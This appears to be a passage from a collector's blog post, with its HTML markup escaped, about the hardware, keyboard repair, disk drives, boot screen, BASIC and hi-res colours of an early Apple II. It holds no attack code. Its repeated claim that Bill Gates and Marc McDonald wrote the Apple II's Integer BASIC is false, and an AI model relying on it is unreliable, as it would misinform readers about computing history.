/&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;These are rows of 16K RAM chips for the Apple II. Each row is 16K (kilobytes) worth of 18K (carat) gold. This is back in the day when RAM was so expensive it could afford to be flashy, and gold really does make the best conductor for electronic circuits. But you sure don’t see much gold circuitry in computers these days. Modern computers are too cheap for that! &lt;/p&gt;&lt;p&gt;Late-model Apple II computers (1979-1982) generally have black ceramic or (ugh) plastic memory chips with aluminum or steel pins.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010029.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/P1010029.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;The Apple II came with 8 slots for add-on cards. These connected your peripheral cards right into the system bus, and made the Apple II the most expandable and flexible computer on the market. Note the use of gold contacts.&lt;br /&gt;&lt;br /&gt;But what’s even rarer than gold contacts are the light-green slots (connectors) that house them. Apple II computers generally had DARK-green slots. Later Apple II+ computers had black slots. But when Steve Wozniak started making the first Apple II computers, he got a special deal from Hewlett Packard on a batch of light-green connectors. These connectors were only used for the first production run and were soon replaced with the dark green connectors.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/IMG_0111.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/IMG_0111.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Here is the heart of the computer: The famous 6502 CPU. (The long black chip in the middle that is laying sideways.)&lt;/p&gt;&lt;p&gt;Right below the CPU are ROM chips. The early Apple II computers only came with 4 ROM chips, even though the Motherboard had sockets for 6 ROM chips. The remaining 2 sockets were left empty for user upgrades. And this particular Apple II has a ROM upgrade (far right ROM with a white stamp on it) that allows it to display extra video modes. &lt;/p&gt;&lt;p&gt;Each ROM had 2K of data, and mapped into the upper 16K address space of the Apple II. This left the lower 48K of the address space available for user programs. The 6502 processor only had a 16-bit address bus, so it could only access a maximum of 64K of memory. But memory was so expensive that most Apple’s were sold with only 16K. This particular early Apple II of mine was sold with 16K, and was later upgraded to 32K, and then later upgraded to 48K and finally a full 64K. (I can tell this by the types of RAM chips in this computer.)&lt;br /&gt;&lt;br /&gt;This old Apple II has a very primitive set of ROMs, containing a small version of BASIC (written by Bill Gates and Marc McDonald), and a mini-Assembler (written by Steve Wozniak).&lt;br /&gt;&lt;br /&gt;Later Apple II computers came with a full set of 6 ROMs, stuffed with a better version of BASIC, and also the Auto-Start ROM. The Auto-Start was a ROM that would actually boot your disk drive and load the operating system when you turned the computer on. What a concept!&lt;br /&gt;&lt;br /&gt;Before the Auto-Start ROM, the Apple II just gave you a cursor (at best) when you turned it on. You had to manually enter commands to engage the disk-drive (or more likely read the tape-drive) to load something.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;If you see an Apple II computer for sale on eBay that has all 6 AppleSoft ROMs, beware that this is most likely an upgraded Apple II and not an original. Most Apple II users had their ROMs upgraded to the new AppleSoft ROMs when they became available. This made them effectively an Apple II+ computer in an Apple II case, and unfortunately that decreases its value to collectors. Any Apple II computer that still has the original 4 Integer BASIC ROMs is especially rare.&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010031.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/P1010031.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is the motherboard serial number (#623). There were hundreds of early prototype and test motherboards before production began. Apple would write the serial number in this little white box because they really didn’t think they’d ever make more than a few thousand of these things, and so room for 3 or 4 digits seemed plenty for a serial number. (The serial number on the bottom of the case was also only set for 4 digits.)&lt;br /&gt;&lt;br /&gt;Later, Apple started writing the Julian “year/week” date in this white box. In most Apple II computers, you will see a 4-digit number like “7904” which means the 79th year and 4th week. (Late January of 1979) This is a pretty standard way of labeling dates on chips. You can see this Julian date in the close-ups of all the chips on this computer. &lt;/p&gt;&lt;p&gt;If you see a computer on eBay claiming to be an original Apple II, but it has a motherboard date of 8124 (the 24th week of 1981) then you are not getting a complete original. That motherboard was replaced at some point in that machine's history.&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010113.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/P1010113.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The early Apple II computers had “Memory Select” jumpers. This allowed you to select either 4k or 16k RAM chips in your computer. 16K chips were considered prohibitively expensive in those days. And with 3 rows of 4K chips, you could still have a computer with a full 12K of RAM, which was enough memory for the time. &lt;/p&gt;&lt;p&gt;When collecting old Apple II computers, the Memory Select chips are something to look for, because they indicate an early-model computer. I snagged a really nice Apple II off eBay for a good price because I happened to magnify the picture that the seller provided, and I was able to see the edge of the Memory Select chips. The seller didn't know what a rarity he had!&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010037.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/P1010037.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This is a regular keyboard encoder which is very common in the Apple II and II+ computers made from 1979 onward.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010035.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/P1010035.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This is the keyboard encoder that is on this old Apple II computer. It's not at all like the one above, and I wish I knew more about it. For now, it's just a thing of fascination for me. Every time I see it, I just say "huh!" and I want to take it apart to see how it works, but it's the only one I have. It appears to be roughly the same circuit design, only with a different layout and more primitive parts. And it's built right into the keyboard instead of being a separate board attached by that goofy extra-long pin connector that I'm used to seeing.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/IMG_0157.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/IMG_0157.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is a close-up of the Apple II keyboard. Note the old-school location of the quote, apostrophe, and parenthesis keys. The parenthesis keys are on 8 and 9 instead of 9 and 0.&lt;/p&gt;&lt;p&gt;Also note there are two shift keys, but those are only for the special symbols. This computer had no concept of lower-case letters whatsoever. (And hence no caps-lock either).&lt;br /&gt;&lt;br /&gt;This computer also had no concept of “up” or “down” arrow keys. These were the days before full-screen word processors. Everything was done by line-editing, and so only left and right were needed. Also there is no Alt key, no Delete key, no Function keys, no Tab key, no underline...and oh ya...no mouse! But there is a “Repeat” (REPT) key that you would press if you wanted a key to repeat multiple times.&lt;br /&gt;&lt;br /&gt;There is a “Control” key and an “Escape” key...and that was pretty cutting-edge for the day. Also notice there is a “BELL” key that is activated by typing “Control-G”. That’s another hold-over from old typewriters and teletype machines that actually did have a little metal bell in them! :)&lt;br /&gt;&lt;br /&gt;On this computer, the RESET key is in the top-right corner, and pressing this key triggers a hard reset of the whole computer, which stops the CPU and dumps all memory. I’ve already accidentally erased a few of my sample programs on this machine by reaching for the “=” key and hitting RESET by accident.&lt;br /&gt;&lt;br /&gt;Later Apple II computers made the RESET key harder to reach, harder to press, and required that you hit the CONTROL and RESET keys together...sort of a forerunner to the famous “Control-Alt-Delete”. &lt;/p&gt;&lt;p&gt;Of course, on modern computers, they’ve taken the Control-Alt-Delete away from us, because even THAT is now considered "too dangerous". Control-Alt-Delete is now just a fancy way of launching the Windows Task Manager. The day will come when they take the power button away too, so that only the OS can shut the computer down. Mark my words! :) &lt;/p&gt;&lt;p&gt;Another rarity you’ll see on this computer is the raised “POWER” light in the bottom left corner. That's another indicator of an early model Apple. It looks just like another key on the keyboard, except it's white. Naturally, users would hit this button thinking that it was the power button, but it’s just a light. It doesn’t move. If you try to press it hard you’ll probably break it. So Wozniak made a change in future Apple computers to make the power light level (flush) with the case so that it didn’t look like a button.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/IMG_0221.0.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/IMG_0221.0.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This is the underside of an Apple II keyboard. Understanding the mechanics and circuit of the keyboard is important to any Apple II collector. The keys on the keyboard are moving parts, and thus they can wear out with time and have to be repaired or replaced. The older Apple II keyboards (like the one in the picture above) are the best, because they are made of key switches that are individually soldered. So if a key goes bad or breaks, it's a simple matter to desolder the faulty key switch and replace it with another. (I keep tons of spare key switches from junked Apple II's I've bought off eBay.)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/IMG_0226.0.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/IMG_0226.0.jpg" border="0" /&gt;&lt;/a&gt;This is the underside of the keyboard from a late-model Apple II+. The blue area is the keyboard, and the little green board on top is the encoder. As you can see, there are no solder points for the keys. The whole keyboard was manufactured as a single unit (to save money). And these kinds of keyboards are FAR more difficult and impractical to repair. If any key breaks you pretty much have to replace the whole keyboard. And since replacement keyboards can't be purchased these days, you usually have no choice but to throw the whole computer away, or salvage the motherboard chips and power supply for parts.&lt;br /&gt;&lt;br /&gt;Whenever I examine an old Apple II computer, I always open the lid and feel under the keyboard to see if I feel solder points. If there are solder points, I know I can repair the keyboard if any keys are bad. If I'm buying a computer off eBay, it's hard to tell what kind of keyboard it has. Sellers never think to try and take a picture of the underside of the keyboard. However, if the seller has given a good clear picture of they keys on the keyboard, I can often tell if it's an old keyboard. The older Apple II keyboards have shinier (glossy) keys. Newer keyboards tend to be made of a slightly more textured plastic with slightly less concave key-tops. It's a very subtle difference, but you can sometimes see it in the way the shiny concave key-tops capture the camera flash. The older keyboards reflect a nice sharp white sphere of light. (I had to dim my flash and come in at an angle to take that non-reflective picture of my keyboard shown earlier.)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/IMG_0274.0.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/IMG_0274.0.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Here is a keyboard that I salvaged from an old and very broken Apple II+. I've removed all the key caps and I keep those for spares. This is the good kind of keyboard that has soldered key switches. And as you can see from this picture, I've already removed several of them to use to repair keys on other computers. I'm holding one of the key switches in my hand. Each key switch has two solder points that you can desolder with a soldering gun and a desolder tool. (See your local Radio Shack.) And once you've removed a broken key switch, you can just plug in another one, and re-solder the two connections.&lt;/p&gt;&lt;p&gt;Generally, I wouldn't recommend getting near a computer with a soldering gun unless you've had a lot of practice, because soldering delicate circuits takes a lot of skill. However, key switches are a little less sensitive to heat and static than IC chips, and you have more room to work because the pins are far apart. So even with only moderate soldering skills, you should be able to safely replace a key switch. Just make sure you don't buy a soldering gun with more than 40 watts of power, and try not to keep the tip on the soldering joint for more than 4 seconds. Even though the key switch could withstand longer durations of heat, the etching board can't. So you still have to be a little careful. Try to get a soldering gun with a grounded tip as well. Static discharge might not hurt the key switch, but it could still travel into the keyboard encoder and zap something there.&lt;/p&gt;&lt;p&gt;Also make sure you get a good multi-meter, so you can check the circuit when you press and release the key, to make sure the problem really is in the key, and to make sure your replacement key switch will work.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/a4.1.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/a4.1.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;For all you Apple computer collectors out there, it's important to know what kind of Apple II motherboard computer you have. Above are three pictures side-by-side. Each picture is a close-up of the upper right-hand corner of a different variety of Apple II motherboard.&lt;br /&gt;&lt;br /&gt;The picture on the left is the original Apple II Revision-0 motherboard. The very first.&lt;br /&gt;&lt;br /&gt;The picture in the middle is a later Revision-1 motherboard for the Apple II. Note the small white box with a single video-signal pin, just right of center in the picture. Also note the dark-green slots that still have gold contacts.&lt;br /&gt;&lt;br /&gt;The picture on the right is represents a late-model Apple II motherboard, Revision 2 or later. (1979 or later). The single video pin has been replaced with a two-pin connector. Also note the slots are black and the connectors are made of steel (and are rusting if you click on the close-up). If you have this kind of motherboard, you probably have a common Apple II+. But there was a transition period in 1979 when Apple produced the Apple II and Apple II+ at the same time, and used the same motherboards for both. The only difference was in the ROM set. So there are a few Apple II's floating around out there that have relatively late-model motherboards.&lt;/p&gt;&lt;p&gt;Also, if the Game Connector socket (bottom right of each picture) is white, then you definitely have a late-model Apple II+.&lt;br /&gt;&lt;br /&gt;After 1982, Apple stopped production of all of the Apple II and II+ Motherboards, and started producing the Apple IIe motherboards. The Apple IIe motherboard used the same general architecture as the Apple II motherboards, but advances in chip technology allowed Apple to achieve the same design with far fewer chips and fewer parts, thus allowing them to be manufactured more cheaply, which was crucial for competing with the rock-bottom priced Commodore-64. &lt;/p&gt;&lt;p&gt;Apple IIe motherboards also have more chips that are soldered down instead of socketed...which makes them far more difficult to repair. :(&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010152.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/P1010152.jpg" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;The very earliest Apple II computers (like this one) used tape-drives instead of disk drives. Disk Drive technology for the Apple II was pretty expensive and awkward until Apple made the "Disk II" system in 1978. Early software for the Apple II (like this copy of Microsoft BASIC) was most often distributed on cassette tapes.&lt;/p&gt;&lt;p&gt;By 1980, Disk Drives were so inexpensive that using a cassette player to load and save programs on an Apple II became rare. And yet the Apple IIe continued to support cassette input-output ports to the end of it's days in 1993.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010151.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/P1010151.jpg" border="0" /&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;This badly-faded tape is a copy of "16K STARTREK". You can't underestimate the effect of Star Trek on the computer industry. :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010120.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/P1010120.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This is the Apple II Disk Drive, a 140K, single-sided, 5.25" floppy drive. It used a drive controller that Steve Wozniak designed himself, and it was genius for the day. Unlike other Disk Drive systems on the market, Wozniak strived for simplicity, and created a Disk system that was largely controlled through software (and some firmware) instead of hardware.&lt;br /&gt;&lt;br /&gt;This design lead to a drive that as inexpensive, rugged, easy to repair, and didn't require a separate power supply. The fact that the low-level I/O routines were implemented in software rather than hardware also allowed for the creation of some very clever customizations to the OS, including writing data between tracks (half-tracks), and custom encoding schemes for security.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010136.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/P1010136.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;This is the inside of the Apple II Disk Drive. It's just a drive motor, a stepper motor, minimal circuitry, and a read/write head. The read/write head is the tiny black square in the white circle in the middle. With a metal case and metal frame with metal parts, this disk drive is way overkill in its ruggedness. We used to refer to them as "Tonka Drives" or "Fisher-Price Drives" back in the day, because they were so tough that even a kid couldn't damage them.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010135.0.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/P1010135.0.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Any long-time Apple II fans will recognize the little gold screw in the bottom right-hand corner. That's the potentiometer that controls the speed of the drive motor, and once every few years you have to adjust it if you drive starts running too slow or too fast. &lt;/p&gt;&lt;p&gt;If you keep the drive speed adjusted, and keep the drive heads clean (with cleaning solution), and maybe replace the rubber drive belt (with a rubber band if necessary) once a decade, you can keep these drives running forever.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/P1010116.jpg"&gt;&lt;img style="FLOAT: left; MARGIN: 0px 10px 10px 0px; CURSOR: hand" alt="" src="http://photos1.blogger.com/blogger/7617/217/320/P1010116.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;This is the ever-popular 16K expansion card for the Apple II. A regular Apple ][ has a maximum of 48k of RAM, because the upper 16K is reserved for the ROM. However, Apple invented a 16K expansion card that could "shadow" the upper 16K of memory. By using bank-switching, you could have the computer either access the ROM, or this 16K bank of RAM. This 16K card was commonly called a "Language" card, because a common practice was to use it to hold other programming languages (besides the BASIC built into the ROMs). This was back when most programming languages could easily fit in 16K. Can you imagine?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/IMG_0206.0.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/IMG_0206.0.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;There were several models and flavors of the original Apple II computers, but this flavor is truly striking. This is the Bell &amp; Howell version of the Apple II computer, also known as the "Darth Vader" Computer. It's absolutely beautiful! Apple should have made more black computers.&lt;br /&gt;&lt;br /&gt;Apple made these black computers for the Bell &amp;amp; Howell so that they could be used in schools. Bell &amp; Howell supplied audio/visual equipment (which was all black) to many major school systems. But shortly after Bell &amp;amp; Howell sold some of these Apple computers, Apple managed to win a few school contracts on their own, and pretty soon Apple no longer needed Bell &amp; Howell. So the "Darth Vader" is a pretty rare and short-lived computer. Only a few thousand were ever made. Too bad!&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;&lt;u&gt;&lt;strong&gt;Operating the APPLE II&lt;/strong&gt;&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/IMG_0170.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/IMG_0170.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;When you turn on this early Apple II computer, this is what you get; a screen full of question marks and an asterisk for a cursor. Yes, that IS how it's supposed to work. &lt;/p&gt;&lt;p&gt;When the compter is turned on, the text buffers default to 11111111.  (All 1's)  And this is displayed as a question mark on the Apple ][.&lt;/p&gt;&lt;p&gt;[Thanks to user "mmphosis" for the following information which I'm quoting:]&lt;/p&gt;&lt;p&gt;&lt;em&gt;11111111 is 255 in decimal, FF in hex. This character is "ASCII 8" where the hi-bit is set. Converted to ASCII 7, this equates to 01111111, 127 or 7F in hex. This particular character is a control character: rubout (DEL, or Delete). &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;In another way of looking at it, this character is also the lower case version of the upper case underscore character "_".  On the text screen of an Apple II, this character is the rubout character displayed in NORMAL mode. The Apple II, and Apple II+ displayed these "lower case" characters using ASCII punctuation characters. &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;So, the rubout character, or lower case underscore character appears as a question mark "?"&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Your picture shows a screen full of NORMAL mode question marks with the monitor prompt on the bottom line. There are three "modes" for characters displayed on the text screen: NORMAL, INVERSE, and FLASHing.  There are also control characters which appear in NORMAL mode as upper case alpha's on the Apple II and Apple II+. By flipping a soft switch, these can appear as "Mouse Text" characters on Apple IIe's and later models. Lower case characters appear in NORMAL mode as punctuation characters.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;There are 255 characters that can be displayed on the Apple II 40 column text screen. Here they are:&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;00-3F: 64 INVERSE upper case and punctuation characters. &lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;40-7F: 64 FLASH upper case and punctuation characters.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;80-9F: 32 NORMAL upper case (control) characters. "Mouse Text" characters on Apple IIe and later when enabled.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;A0-DF: 64 NORMAL punctuation and upper case characters. (Regular ASCII with the hi-bit set.)&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;E0-FF: 32 NORMAL punctuation (lower case) characters.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;The upper case characters are "@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_" with ASCII values 40 to 5F in hex.The punctuation characters are " !"#$%&amp;'()*+,-./0123456789:;&lt;=&gt;?" with ASCII values 20 to 3F in hex.&lt;/em&gt; &lt;/p&gt;&lt;p&gt;--mmphosis&lt;/p&gt;&lt;p&gt;If you turn on your Apple and it tries to boot a disk, or it says "Apple ][" at the top of the screen, then you have an Apple II+, or an Apple II with upgraded ROMs.&lt;/p&gt;&lt;p&gt;At the monitor prompt (the “*” prompt), you now have direct access to memory and instructions, and you can enter and execute any program you want...assuming you are fluent in machine code!&lt;/p&gt;&lt;p&gt;If you want to use the version of BASIC built into the computer, you have to press "CTRL-B" and then press "RETURN".&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/IMG_0175.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/IMG_0175.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And here I am walking through memory, and then switching to BASIC. The monitor isn't as fuzzy as it looks in these pictures. These very old green-phosphor monitors have a harsh glow and reflective echo to them that gives my camera fits. (These old monitors were really awful!) &lt;/p&gt;&lt;p&gt;This monitor, by the way, is an Apple /// monitor made about 1980. Most early Apple II owners simply hooked their Apple to a television set.&lt;br /&gt;&lt;br /&gt;This Apple II came with a primitive version of the "Integer BASIC" language built into the ROM chips. This BASIC was written by Bill Gates and Marc McDonald at the brand new start-up company called "Microsoft". (Or rather, Microsoft implemented BASIC after stealing the idea and design from earlier innovators. Do you see the start of a pattern here?)&lt;br /&gt;&lt;br /&gt;This original flavor of BASIC could only do simple operations and commands, and did not even support floating point numbers. As you can see in the picture above, I get errors when I try to manipulate floating-point numbers. This BASIC became known as “Integer BASIC”, and was quickly replaced with an improved version called “AppleSoft Basic” (also known as “Floating Point BASIC”) in later Apple II computers.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/IMG_0180.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/IMG_0180.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Here's something you don't see often. All Apple II+ computers came with AppleSoft BASIC built into the ROMS. But the System Master disk for the Apple would automatically load Integer BASIC into your 16K "language" card. This way you would have both versions of BASIC handy so you could run programs in either one. &lt;/p&gt;&lt;p&gt;However, if you put the System Master disk in an old Apple II that still has the original Integer BASIC ROMs, it would detect that fact and then it would load AppleSoft BASIC into the 16K card. &lt;/p&gt;&lt;p&gt;So, on a normal Apple II+ or upgraded Apple II, you would see the message "(LOADING INTEGER INTO LANGUAGE CARD)", but on this early Apple II, you see the message "(LOADING APPLESOFT INTO LANGUAGE CARD)". Only the hard-core Apple geeks out there can appreciate the humor of that. &lt;/p&gt;&lt;p&gt;This System Master Disk contained either Apple DOS 3.2 or Apple DOS 3.3. (Not to be confused with MS-DOS or any other flavor of DOS). Apple DOS 3.3 was released in 1980, and continued to be a dominant operating system for the Apple computer for the next 13 years of its life. There was never a DOS 3.4. (There was a ProDOS....but that's a different beastie.)&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;a href="http://photos1.blogger.com/blogger/7617/217/1600/IMG_0184.jpg"&gt;&lt;img style="DISPLAY: block; MARGIN: 0px auto 10px; CURSOR: hand; TEXT-ALIGN: center" alt="" src="http://photos1.blogger.com/blogger/7617/217/400/IMG_0184.jpg" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Here's is the famous "Brian's Theme" program that made pretty patterns on the Apple screen. The dirty secret of this program was that it was not doing anything other than drawing straight lines on the screen with various step values, and taking advantage of the lack of anti-aliasing algorithms in the Apple line-drawing routine. Lines drawn in this manner would look choppy and jagged, and if you drew a lot of lines close together they made interesting patterns just by chance. &lt;/p&gt;&lt;p&gt;Just marvel at these ancient Apple II graphics! &lt;/p&gt;&lt;p&gt;Why aren't you marveling?!? If this was 1977 you would be marveling!&lt;br /&gt;&lt;br /&gt;One thing that was not so marvelous about Apple graphics was the limitation of 8K of memory for the High-Resolution graphics page. At a time when Apple II computers commonly had 16K of memory, using more than 8K for graphics video would be asking too much. So Wozniak designed an ingenious system (a hack) to coax a High-Resolution screen with 4 (or 6) colors out of just 8K of memory!&lt;br /&gt;&lt;br /&gt;The Apple II High-Resolution graphics mode that consisted of 280 by 192 pixels. At that resolution, you can't use 2 bits for each pixel and still have it fit in 8K bytes. So you only get to have 1 bit per pixel. But how on earth do you get 4 or 6 color values in 1 bit of information? Well buckle-up:&lt;br /&gt;&lt;br /&gt;Here are the rules that get you the first 4 colors of white, black, violet, and green: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;If the bit is 0, the pixel black.&lt;/li&gt;&lt;li&gt;If the bit is 1, and the pixel is in an even-numbered column, then it is violet.&lt;/li&gt;&lt;li&gt;If the bit is 1, and the pixel is in an odd-numbered column, then it is green.&lt;/li&gt;&lt;li&gt;Any two pixels placed side-by-side anywhere on the screen, turns both pixels white.&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Okay, so far, that ugly kluge gets us to 4 colors. And that’s all the colors my early Revision-0 motherboard supports. But Apple soon released a Revision-1 motherboard for the Apple ][ that supported 2 more colors (red and blue) for a total of 6 colors, by using another hack.&lt;br /&gt;&lt;br /&gt;The Apple only used the lower 7 bits of each 8-bit byte for most character and video operations. The Revision-1 motherboards incorporated a hack that said “if you set the high bit of the byte (the unused bit) to 1, then the “violet/green” color palette for that whole byte will replaced with a “red/blue” color palette.&lt;br /&gt;&lt;br /&gt;So here are the complete rules that derive the 6 colors of white, black, violet, green, red and blue: &lt;ul&gt;&lt;br /&gt;&lt;li&gt;If the bit is 0, the pixel is black.&lt;/li&gt;&lt;li&gt;If the bit is 1, and the high bit of the byte is 0, and the pixel is in an even-numbered column, then the pixel is violet.&lt;/li&gt;&lt;li&gt;If the bit is 1, and the high bit of that byte is 1, and the pixel is in an even-numbered column, then the pixel is 